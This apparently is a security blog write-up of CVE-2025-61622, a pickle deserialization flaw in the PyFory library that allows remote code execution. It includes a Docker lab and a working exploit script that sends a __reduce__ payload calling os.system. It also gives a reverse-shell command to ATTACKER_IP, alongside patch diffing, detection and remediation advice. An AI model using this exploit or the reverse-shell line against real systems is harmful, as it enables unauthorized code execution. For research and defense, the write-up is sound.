CVE-2025-61622: PyFory – Insecure Pickle Deserialization to Remote Code Execution

CVE-2025-48459: Apache IoTDB – Unsafe Deserialization via Class.forName() to RCE
CVE-2025-48459: Apache IoTDB – Unsafe Deserialization via Class.forName() to RCE
May 27, 2026

May 28, 2026

Python’s pickle module has long been recognized as one of the most dangerous serialization interfaces in the language – its own documentation warns that it should never be used to deserialize untrusted data. Yet in 2025, a critical deserialization vulnerability was discovered in PyFory (formerly PyFury), a high-performance serialization framework, where pickle.Unpickler is invoked on attacker-controlled data with no class restrictions whatsoever. CVE-2025-61622 allows an attacker to achieve unauthenticated remote code execution by sending a crafted serialized payload to any application that uses PyFory to deserialize untrusted input.

What is PyFory?

PyFory (previously known as PyFury) is an open-source, high-performance multi-language serialization framework for Python. It is designed as a drop-in replacement for pickle, msgpack, and similar libraries, offering significantly faster serialization speeds through zero-copy techniques and JIT compilation. PyFory supports cross-language serialization between Python, Java, Go, Rust, JavaScript, and C++, making it attractive for distributed systems, microservices, and data pipelines. The library is available on PyPI and has seen growing adoption in production environments where performance-critical data exchange is required between heterogeneous services.

Attack Flow

Attacker → crafted PyFory stream (unregistered type) → handle_unsupported_read()
  → pickle.Unpickler.load() → __reduce__ protocol → os.system() → RCE

Attack Flow of cve-2025-61622
Attack chain — pickle bytecode VM to root RCE

The core issue is that when PyFory encounters a type it does not recognize during deserialization, it silently falls back to Python’s pickle.Unpickler.load() with no find_class override, no allow-list, and no sandbox. An attacker who can supply serialized data to a PyFory consumer can embed a pickled payload for an unregistered type, triggering arbitrary code execution on the victim.

PyFory’s serialization engine maintains an internal type registry. When serializing an object, PyFory checks whether the object’s class has been explicitly registered. If the type is registered, PyFory uses its own high-performance binary format. If the type is not registered, PyFory falls back to Python’s cloudpickle (on the write side) and pickle.Unpickler (on the read side) to handle the unknown type transparently. The critical detail: PyFory’s type registration system – its only safety mechanism – is advisory, not enforced. A RuntimeWarning is emitted when an unregistered type is encountered, but deserialization proceeds regardless.

Building the Lab

The lab spins up two containers on a shared Docker network:

  • cve-2025-61622-victim – a minimal Python app simulating PyFory’s handle_unsupported_read(), listening on TCP :9999.
  • cve-2025-61622-attacker – a Python image with cloudpickle and exploit.py baked in, used to send the malicious payload to the victim.

Dockerfile

FROM python:3.11-slim
WORKDIR /lab

RUN pip install --no-cache-dir cloudpickle

# Vulnerable app -- simulates PyFory _fory.py:448 (handle_unsupported_read)
RUN echo '#!/usr/bin/env python3\n\
import pickle, io, socket\n\
\n\
def handle_unsupported_read(buffer):\n\
    """PyFory _fory.py:448 -- vulnerable function"""\n\
    unpickler = pickle.Unpickler(buffer)\n\
    return unpickler.load()\n\
\n\
print("[*] PyFory App (require_type_registration=False)")\n\
print("[*] Listening on 0.0.0.0:9999")\n\
\n\
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\
s.bind(("0.0.0.0", 9999))\n\
s.listen(1)\n\
\n\
while True:\n\
    c, addr = s.accept()\n\
    print(f"[+] Connection: {addr}")\n\
    data = c.recv(4096)\n\
    if data:\n\
        print("[*] Calling handle_unsupported_read()...")\n\
        handle_unsupported_read(io.BytesIO(data))\n\
    c.close()\n\
' > pyfory_app.py

# Exploit using cloudpickle + __reduce__
RUN echo '#!/usr/bin/env python3\n\
import io, socket, sys, os\n\
from cloudpickle import Pickler\n\
\n\
class RCE:\n\
    def __init__(self, cmd): self.cmd = cmd\n\
    def __reduce__(self): return (os.system, (self.cmd,))\n\
\n\
host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"\n\
cmd = sys.argv[2] if len(sys.argv) > 2 else "id"\n\
\n\
print(f"[*] Target: {host}:9999")\n\
print(f"[*] Payload: {cmd}")\n\
\n\
buf = io.BytesIO()\n\
Pickler(buf).dump(RCE(cmd))\n\
\n\
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\
s.connect((host, 9999))\n\
s.send(buf.getvalue())\n\
s.close()\n\
print("[+] Exploit sent!")\n\
' > exploit.py

COPY poc_minimal.py .

RUN chmod +x *.py

docker-compose.yml

services:
  victim:
    build: .
    container_name: cve-2025-61622-victim
    ports:
      - "9999:9999"
    networks:
      - vuln-net
    command: python pyfory_app.py

  attacker:
    build: .
    container_name: cve-2025-61622-attacker
    networks:
      - vuln-net
    depends_on:
      - victim
    stdin_open: true
    tty: true
    command: /bin/bash

networks:
  vuln-net:
    driver: bridge

Start the Lab

cd CVE-2025-61622/lab
docker compose up -d

# Confirm both containers are running
docker ps --filter "name=cve-2025-61622"
# cve-2025-61622-attacker   Up   /bin/bash
# cve-2025-61622-victim     Up   python pyfory_app.py   0.0.0.0:9999->9999/tcp

The victim binds 0.0.0.0:9999 – ready to receive a pickled blob, hand it to pickle.Unpickler.load(), and trigger code execution.

cve-2025-61622 vulnerability check
Vulnerability check — pickle reduce primitive demonstrated locally

PoC (Proof of Concept)

The PoC uses pickle’s __reduce__ protocol to embed a callable (os.system) and an argument (the shell command) inside the serialized blob. When the victim unpickles it, the callable fires before any application code sees the object.

Step 1 – Demonstrate the Primitive Locally

The repo ships poc_minimal.py, a self-contained script that proves the pickle code-execution primitive without any network involvement:

class CommandExecutionPayload:
    def __reduce__(self):
        return (os.system, ('echo COMMAND EXECUTED FROM PICKLE!',))

buf = io.BytesIO()
Pickler(buf).dump(CommandExecutionPayload())

# Round-trip through pickle.Unpickler.load() -- this is what PyFory does on unknown types
pickle.Unpickler(io.BytesIO(buf.getvalue())).load()
# ↓
# COMMAND EXECUTED FROM PICKLE!

Step 2 – Send the Payload Over the Network

From the attacker container, fire the exploit at the victim:

docker exec cve-2025-61622-attacker \
    python exploit.py cve-2025-61622-victim "touch /tmp/pwned_pyfory"

Output:

[*] Target: cve-2025-61622-victim:9999
[*] Payload: touch /tmp/pwned_pyfory
[+] Exploit sent!
exploit code cve-2025-61622
Exploit code — reduce class + cloudpickle.dumps + socket send
cve-2025-61622 exploit code execution
Exploit execution — cloudpickle blob delivered to handle_unsupported_read()

Step 3 – Verify Code Execution on the Victim

docker exec cve-2025-61622-victim ls -la /tmp/pwned_pyfory
# -rw-r--r-- 1 root root 0 May 18 10:36 /tmp/pwned_pyfory

The file appears on the victim as root – created by the os.system(“touch /tmp/pwned_pyfory”) call executed during pickle.Unpickler.load().

cve-2025-61622 RCE proof
RCE proof — /tmp/pwned_pyfory created + pickletools disassembly

Step 4 – Reverse Shell

# On attacker host -- start listener
nc -lvnp 4444

# From inside the attacker container, deliver a reverse-shell payload
docker exec cve-2025-61622-attacker \
    python exploit.py cve-2025-61622-victim \
        'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
Anatomy of the __reduce__ Trick
class RCE:
    def __init__(self, cmd):
        self.cmd = cmd
    def __reduce__(self):
        # Tells pickle: "to rebuild me, call os.system(cmd)"
        return (os.system, (self.cmd,))

pickle.Unpickler.load() honours that tuple literally – it calls the first element with the second as arguments. The vulnerability is therefore not in RCE (an attacker class), it is in any code path that hands attacker bytes to Unpickler.load() without a find_class allow-list. Which is exactly what PyFory’s handle_unsupported_read() does.

Static Analysis

The CVE is not interesting because pickle.Unpickler.load() is dangerous – that’s been documented since 1996. It’s interesting because PyFory had every signal that the call was dangerous (warnings, a stub class, a “secure default” flag) and the dangerous path was still reachable through a single boolean constructor argument. Understanding why that design fails is the lesson.

pickle Is Not Serialization – It’s a Bytecode VM

The mental model most developers hold of pickle is “Python’s built-in JSON-with-objects.” That model is wrong, and the wrongness is the entire reason this CVE exists.

pickle is a stack-based virtual machine. A pickle stream is a sequence of single-byte opcodes that drive a tiny VM whose registers are a stack and a memo dict. Some opcodes push primitives; others push imported names; one in particular – REDUCE (R, byte 0x52) – pops a callable and an argument tuple from the stack and invokes the callable.

Here is pickle.dumps(MaliciousPayload()) for the lab’s os.system(‘id’) payload, disassembled with pickletools.dis():

 0: \x80 PROTO      4
    2: \x95 FRAME      28
   11: \x8c SHORT_BINUNICODE 'os'           # push 'os' onto stack
   15: \x94 MEMOIZE    (as 0)
   16: \x8c SHORT_BINUNICODE 'system'       # push 'system'
   24: \x94 MEMOIZE    (as 1)
   25: \x93 STACK_GLOBAL                    # pop names, push os.system
   26: \x94 MEMOIZE    (as 2)
   27: \x8c SHORT_BINUNICODE 'id'           # push the command string
   31: \x94 MEMOIZE    (as 3)
   32: \x85 TUPLE1                          # wrap top-of-stack in 1-tuple
   33: \x94 MEMOIZE    (as 4)
   34: R    REDUCE                          # pop callable + args, call it
   35: \x94 MEMOIZE    (as 5)
   36: .    STOP

Opcode 0x52 is the entire bug. Once an Unpickler reaches that byte, it calls whatever sits on top of the stack – in this case os.system(‘id’). There is no opt-out at the protocol level; the only opt-out is Unpickler.find_class(), which decides what names are allowed to be pushed onto the stack by the STACK_GLOBAL opcode at byte 25.

find_class() – The One Hook That Could Have Saved PyFory

Python’s pickle.Unpickler exposes exactly one hook for restricting deserialization, and it has existed since Python 2.3:

class RestrictedUnpickler(pickle.Unpickler):
    SAFE = {("pyfory.types", "MyType"), ("pyfory.types", "OtherType")}

    def find_class(self, module, name):
        if (module, name) not in self.SAFE:
            raise pickle.UnpicklingError(f"global {module}.{name} forbidden")
        return super().find_class(module, name)

STACK_GLOBAL (and the older GLOBAL opcode) call find_class(module, name) before the import happens. Returning the imported callable allows the pickle to proceed; raising any exception aborts. This is the canonical Python equivalent of JEP 290’s ObjectInputFilter.

PyFory never subclasses Unpickler. The top of _fory.py:

# _fory.py — line 42
from pickle import Unpickler        # ← raw class imported, no subclassing

This single import is the smell. A library that intends to deserialize untrusted data will always import Unpickler only to subclass it; importing it for direct use is itself a code-review red flag.

The Dangerous Fallback – handle_unsupported_read()

code vulnerable cve-2025-61622
Vulnerable code — bare pickle.Unpickler, no find_class override
# pyfory/_fory.py
def handle_unsupported_read(self, buffer):
    in_band = buffer.read_bool()
    if in_band:
        unpickler = self.unpickler
        if unpickler is None:
            self.unpickler = unpickler = Unpickler(buffer)   # <-- bare Unpickler
        return unpickler.load()                              # <-- bytecode VM runs
    else:
        assert self._unsupported_objects is not None
        return next(self._unsupported_objects)

Two observations:

  1. The Unpickler is built with no find_class override. Every importable callable in the Python runtime is reachable. Off-the-shelf tools like pickleassem generate one-liner payloads against this surface.
  2. The unpickler is memoized on self. A long-lived Fury instance accumulates one shared unpickler across many deserialize() calls. That’s bad for memory hygiene and also makes the attack surface persistent across calls – a single buggy request leaves the vulnerable path warmed up.

The Symmetric Write Side – handle_unsupported_write()

def handle_unsupported_write(self, buffer, obj):
    if self._unsupported_callback is None or self._unsupported_callback(obj):
        buffer.write_bool(True)
        self.pickler.dump(obj)        # cloudpickle.Pickler — superset of pickle
    else:
        buffer.write_bool(False)

The pickler is cloudpickle.Pickler, which is pickle.Pickler plus support for closures, lambdas, dynamically-defined classes, decorated functions, etc. From the attacker’s perspective cloudpickle.dumps(payload) produces bytes that are byte-compatible with what pickle.Unpickler.load() consumes. The attacker doesn’t need PyFory at all to craft a payload. A trivial Dockerfile with pip install cloudpickle is the full attacker toolchain.

The Safety Gate – _PicklerStub vs Real Unpickler

PyFory’s only safety mechanism is a constructor flag and a pair of stub classes:

# pyfory/_fory.py  (Fory.__init__, abbreviated)
if not require_type_registration:
    warnings.warn(
        "Type registration is disabled, unknown types can be deserialized "
        "which may be insecure.",
        RuntimeWarning,
        stacklevel=2,
    )
    self.pickler = Pickler(self.buffer)     # real cloudpickle.Pickler
    self.unpickler = None                   # real pickle.Unpickler created lazily
else:
    self.pickler = _PicklerStub()           # raises on dump
    self.unpickler = _UnpicklerStub()       # raises on load
class _PicklerStub:
    def dump(self, o):
        raise ValueError(f"Type {type(o)} is not registered, pickle is not allowed ...")
    def clear_memo(self): pass

class _UnpicklerStub:
    def load(self):
        raise ValueError("pickle is not allowed when type registration enabled, ...")

The architectural problem: the safety mechanism is a property of the Fury instance, not of the underlying class. Any library or framework that constructs a Fury(require_type_registration=False) flips the switch globally. Worse, the parameter’s name sounds like a usability feature (“do I need to register types?”) not a security toggle (“would you like RCE today?”).This is the same anti-pattern as Jackson’s enableDefaultTyping(), FasterXML’s @JsonTypeInfo(use=Id.CLASS), and PySerial’s parity=PARITY_NONE – a security-critical flag wearing a feature name. Operators and reviewers can read past it without noticing.

The Forcing Env Var – A Hint of How the Library Should Have Looked

In addition to the patch in 0.12.3, the maintainers added an environment variable that lets an operator pin safe behaviour from outside the application:

_ENABLE_TYPE_REGISTRATION_FORCIBLY = os.getenv(
    "ENABLE_TYPE_REGISTRATION_FORCIBLY", "0"
) in {"1", "true"}

self.require_type_registration = (
    _ENABLE_TYPE_REGISTRATION_FORCIBLY or require_type_registration
)

This is what the library should have shipped from day one: an out-of-band kill switch that application code can’t override. The fact that it had to be added retroactively confirms that the original require_type_registration parameter was too easy for downstream code to flip.

The __reduce__ Protocol – Why It’s the Canonical Primitive

Python’s pickle protocol supports six “reducer” magic methods (__reduce__, __reduce_ex__, __getstate__/__setstate__, __getnewargs__, __getnewargs_ex__). For attacker purposes, only __reduce__ matters:

class Exploit:
    def __reduce__(self):
        return (os.system, ('whoami',))

Two things make __reduce__ uniquely useful:

  1. Arbitrary callable. The first element of the returned tuple is any importable callable: os.system, subprocess.check_output, __builtin__.eval, getattr, pty.spawn, etc. There’s no constraint on it – it doesn’t need to be related to the class.
  2. Arbitrary arguments. The second element is an args tuple, so the attacker controls the callable’s full signature.

The pickle VM faithfully executes callable(*args) for any __reduce__ it encounters during unpickling. No find_class filter on the callable side protects against this – but find_class does gate which module/name pairs can be pushed onto the stack in the first place. That’s why a custom Unpickler with a strict allow-list neutralises every __reduce__ payload: the callable can’t be pushed onto the stack to begin with.

RuntimeWarning Is Cosmetic, Not Protective

warnings.warn(
    "Type registration is disabled, unknown types can be deserialized "
    "which may be insecure.",
    RuntimeWarning,
    stacklevel=2,
)

Python’s default warnings filter prints RuntimeWarning to stderr once per call site and then suppresses it. In a production service:

  • A logging configuration that doesn’t route warnings drops it.
  • A long-running process that already triggered the warning at startup silently does the dangerous thing forever after.
  • Running under gunicorn/uvicorn/Celery, the warning vanishes into worker stderr that nobody monitors.

The warning is a false ally: it makes maintainers and reviewers feel the library is being honest about its risks, while doing nothing to stop the risk. A library that exposes RCE should either refuse to start (raise an exception, not a warning) or require an environment variable named after the actual risk (I_KNOW_THIS_LIBRARY_IS_EXECUTING_PICKLE_OPCODES=1) – not a tucked-away stacklevel=2 notice.

Detection – Static and Runtime

For pre-patched PyFory deployments:

  • Static scan: grep your dependency tree for pyfury / pyfory and your code for Fury(…) / Fury(require_type_registration=False). Any False is exploitable.
  • Static scan ‑ payload signatures: incoming serialized bytes that begin with \x80\x04 or \x80\x05 (pickle proto 4/5) embedded in a PyFory stream are inherently suspicious. PyFory’s own framing does not start with these bytes.
  • Process tree: the Python process running the PyFory consumer should not spawn shells. auditd -w /bin/sh -p x or eBPF tracee rules catch __reduce__ payloads instantly.
  • Module-loading anomalies: log every import performed under the pickle VM. A normal application’s hot path doesn’t import os on every deserialize; a __reduce__ payload almost always does.

A minimal runtime guard for legacy deployments that can’t upgrade:

import builtins, pickle, types
_real_find_class = pickle.Unpickler.find_class
def _safe_find_class(self, module, name):
    if (module, name) not in {("pyfory.types", "MyType"), ...}:
        raise pickle.UnpicklingError(f"forbidden global {module}.{name}")
    return _real_find_class(self, module, name)
pickle.Unpickler.find_class = _safe_find_class

This monkey-patches the global Unpickler to refuse anything not on the allow-list – effectively retrofitting find_class onto every consumer of pickle in the process. Crude, but it works as a stop-gap until a proper upgrade lands.

Why “Just Use HMAC” Isn’t Enough

A common reflex when seeing pickle-based RPC is “sign the payload with HMAC; if the signature checks, trust it.” That works only if the signing key is genuinely secret and never exfiltrated. Two failure modes:

  1. Key material in code/config: the moment a single instance is compromised, the attacker forges payloads for the entire fleet. PyFory’s threat model (untrusted producers) makes this almost certain.
  2. Cross-tenant signing: in multi-tenant deployments, the legitimate producer is also the attacker. HMAC stops third parties, not first parties.

The 0.12.3 fix recognises this and chooses the only safe answer: don’t deserialize unknown types at all. Registered types are explicit, finite, and reviewable; unknown types are by definition outside the threat model.

Patch Diffing

The Fix in 0.12.3 – Pickle Fallback Removed Entirely

The fix introduced in PyFory 0.12.3 takes a decisive approach: the pickle fallback path is removed altogether. Rather than attempting to sandbox or filter pickle.Unpickler, the maintainers eliminated the unsafe code path.

Before – PyFory 0.12.0 – 0.12.2

def handle_unsupported_read(self, buffer):
    in_band = buffer.read_bool()
    if in_band:
        unpickler = self.unpickler
        if unpickler is None:
            self.unpickler = unpickler = Unpickler(buffer)
        return unpickler.load()    # VULNERABLE: bare pickle.Unpickler
    else:
        assert self._unsupported_objects is not None
        return next(self._unsupported_objects)

After – PyFory >= 0.12.3

def handle_unsupported_read(self, buffer):
    raise UnsupportedTypeError(
        "Deserialising unregistered types is no longer supported. "
        "Please register all types via Fury.register_class()."
    )

The patched version raises an exception immediately, refusing to deserialise any type that has not been explicitly registered. The cloudpickle write path is similarly removed – handle_unsupported_write() now raises an error instead of silently pickling the object.

ENABLE_TYPE_REGISTRATION_FORCIBLY Environment Variable

In addition to removing the fallback, the patch introduces an environment variable that forces type registration globally:

_ENABLE_TYPE_REGISTRATION_FORCIBLY = os.getenv(
    "ENABLE_TYPE_REGISTRATION_FORCIBLY", "0"
) in {"1", "true"}

# Used inside __init__:
self.require_type_registration = (
    _ENABLE_TYPE_REGISTRATION_FORCIBLY or require_type_registration
)

When this variable is set to “1”, it overrides the require_type_registration constructor parameter, ensuring that the pickle fallback cannot be re-enabled programmatically.

code patch cve-2025-61622
Patch — pickle fallback removed; raises UnsupportedTypeError instead

Why This Fix Works

  1. Removal beats sandboxing. pickle.Unpickler has a long history of partial-sandbox bypasses; the only safe choice is to not call it on attacker data. The patch deletes the call entirely.
  2. Defence in depth via env var. Even if a downstream application explicitly passes require_type_registration=False, the operator can pin safe behaviour cluster-wide by setting ENABLE_TYPE_REGISTRATION_FORCIBLY=1.
  3. Explicit failure. The replacement raises a typed exception with a remediation hint, so legitimate code paths fail loudly and obviously rather than silently changing behaviour.

Conclusion

Impact

CVE-2025-61622 is a critical deserialization vulnerability that grants an attacker full code execution on any system running a PyFory-based application that deserialises untrusted input with type registration disabled:

Remediation

  1. Upgrade to PyFory 0.12.3 or later – the recommended fix; the pickle fallback is removed entirely.
  2. If upgrade is not immediately possible, ensure require_type_registration=True (the default) and do not override it.
  3. Set ENABLE_TYPE_REGISTRATION_FORCIBLY=1 in your environment to enforce type registration globally, preventing application code from disabling it.
  4. Register all types explicitly via Fury.register_class() – do not rely on the pickle fallback for handling unknown types.
  5. Never deserialize untrusted input – if your application accepts serialized data from external sources, validate and authenticate the source before deserialization.
  6. Audit your dependencies – check whether any library in your stack uses PyFory/PyFury with require_type_registration=False.

Final Takeaways

CVE-2025-61622 is a textbook reminder that pickle is not a serialization format – it is a sandboxed code execution VM that happens to round-trip Python objects. Any function that hands attacker bytes to pickle.Unpickler.load() without a find_class allow-list is a remote code execution sink, even if it’s wrapped in three layers of “high-performance” framework. PyFory’s mistake was treating pickle as an escape valve for compatibility; the only safe escape valve is failure. The fix – raising an exception instead of falling back – is the canonical pattern: when in doubt, refuse to deserialise.

Discover more from SecureLayer7 - Offensive Security, API Scanner & Attack Surface Management

Subscribe now to keep reading and get access to the full archive.

Continue reading